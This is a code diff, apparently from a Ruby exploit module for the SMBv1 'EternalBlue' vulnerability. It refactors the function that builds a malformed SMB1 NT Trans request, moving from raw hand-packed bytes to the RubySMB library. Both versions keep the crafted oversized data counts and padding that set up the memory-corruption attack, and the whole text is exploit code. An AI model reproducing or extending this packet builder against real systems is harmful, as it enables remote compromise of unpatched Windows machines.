@@ -528,45 +528,38 @@ def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout)
528
528
end
529
529
530
530
def make_smb1_nt_trans_packet ( tree_id , user_id )
531
- pkt = ""
532
- pkt << "\x00 " # Session message
533
- pkt << "\x00 \x04 \x38 " # length
534
- pkt << "\xff SMB" # SMB1
535
- pkt << "\xa0 " # NT Trans
536
- pkt << "\x00 \x00 \x00 \x00 " # NT SUCCESS
537
- pkt << "\x18 " # Flags
538
- pkt << "\x07 \xc0 " # Flags2
539
- pkt << "\x00 \x00 " # PID High
540
- pkt << "\x00 \x00 \x00 \x00 " # Signature1
541
- pkt << "\x00 \x00 \x00 \x00 " # Signature2
542
- pkt << "\x00 \x00 " # Reserved
543
- pkt << [ tree_id ] . pack ( "S>" ) # TreeID
544
- pkt << "\xff \xfe " # PID
545
- pkt << [ user_id ] . pack ( "S>" ) # UserID
546
- pkt << "\x40 \x00 " # MultiplexID
547
-
548
- pkt << "\x14 " # Word Count
549
- pkt << "\x01 " # Max Setup Count
550
- pkt << "\x00 \x00 " # Reserved
551
- pkt << "\x1e \x00 \x00 \x00 " # Total Param Count
552
- pkt << "\xd0 \x03 \x01 \x00 " # Total Data Count
553
- pkt << "\x1e \x00 \x00 \x00 " # Max Param Count
554
- pkt << "\x00 \x00 \x00 \x00 " # Max Data Count
555
- pkt << "\x1e \x00 \x00 \x00 " # Param Count
556
- pkt << "\x4b \x00 \x00 \x00 " # Param Offset
557
- pkt << "\xd0 \x03 \x00 \x00 " # Data Count
558
- pkt << "\x68 \x00 \x00 \x00 " # Data Offset
559
- pkt << "\x01 " # Setup Count
560
- pkt << "\x00 \x00 " # Function <unknown>
561
- pkt << "\x00 \x00 " # Unknown NT transaction (0) setup
562
- pkt << "\xec \x03 " # Byte Count
563
- pkt << "\x00 " * 0x1f # NT Parameters
564
-
565
- # undocumented
566
- pkt << "\x01 "
567
- pkt << "\x00 " * 0x3cd
568
-
569
- pkt
531
+ packet = RubySMB ::SMB1 ::Packet ::NtTrans ::Request . new
532
+
533
+ # Disable the automatic padding because it will distort
534
+ # our values here.
535
+ packet . data_block . enable_padding = false
536
+
537
+ packet . smb_header . flags2 . read ( "\x07 \xc0 " )
538
+ packet . smb_header . tid = tree_id
539
+ packet . smb_header . uid = user_id
540
+ packet . smb_header . pid_low = 65279
541
+ packet . smb_header . mid = 64
542
+
543
+ packet . parameter_block . max_setup_count = 1
544
+ packet . parameter_block . total_parameter_count = 30
545
+ packet . parameter_block . total_data_count = 66512
546
+ packet . parameter_block . max_parameter_count = 30
547
+ packet . parameter_block . max_data_count = 0
548
+ packet . parameter_block . parameter_count = 30
549
+ packet . parameter_block . parameter_offset = 75
550
+ packet . parameter_block . data_count = 976
551
+ packet . parameter_block . data_offset = 104
552
+ packet . parameter_block . function = 0
553
+
554
+ packet . parameter_block . setup << 0x0000
555
+
556
+ packet . data_block . byte_count = 1004
557
+ packet . data_block . trans2_parameters = "\x00 " * 31 + "\x01 " + ( "\x00 " * 973 )
558
+
559
+ nbss = [ packet . do_num_bytes ] . pack ( 'N' )
560
+ raw_packet = packet . to_binary_s
561
+
562
+ nbss + raw_packet
570
563
end
571
564
572
565
def make_smb1_free_hole_session_packet ( flags2 , vcnum , native_os )
0 commit comments